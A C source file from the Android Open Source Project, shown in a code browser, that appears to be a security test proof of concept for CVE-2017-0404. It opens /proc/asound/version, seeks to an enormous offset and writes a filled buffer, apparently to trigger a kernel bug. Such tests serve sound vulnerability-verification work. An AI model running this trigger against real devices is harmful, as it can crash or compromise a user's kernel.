Home | History | Annotate | Download | only in CVE-2017-0404
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #include <string.h>
     17 #include <stdio.h>
     18 #include <stdlib.h>
     19 #include <unistd.h>
     20 #include <sys/prctl.h>
     21 #include <sys/syscall.h>
     22 #include <sys/types.h>
     23 #include <pthread.h>
     24 #include <fcntl.h>
     25 #include <sys/stat.h>
     26 #include <semaphore.h>
     27 #include <sys/socket.h>
     28 #include <sys/mman.h>
     29 #include <signal.h>
     30 #include <sys/wait.h>
     31 #include <sys/ioctl.h>
     32 #include <sys/utsname.h>
     33 #include <sys/ptrace.h>
     34 
     35 char buf[4096];
     36 
     37 int main(int argc, char const *argv[]){
     38 	memset(buf, 0xa0, sizeof(buf));
     39 
     40 	int fd = open("/proc/asound/version", O_RDWR);
     41 	if(fd != -1){
     42 		lseek(fd, 0x1234567800000000, SEEK_SET);
     43 		write(fd, buf, sizeof(buf));
     44 	}else{
     45 		perror("open error\n");
     46 	}
     47 	close(fd);
     48 	return 0;
     49 }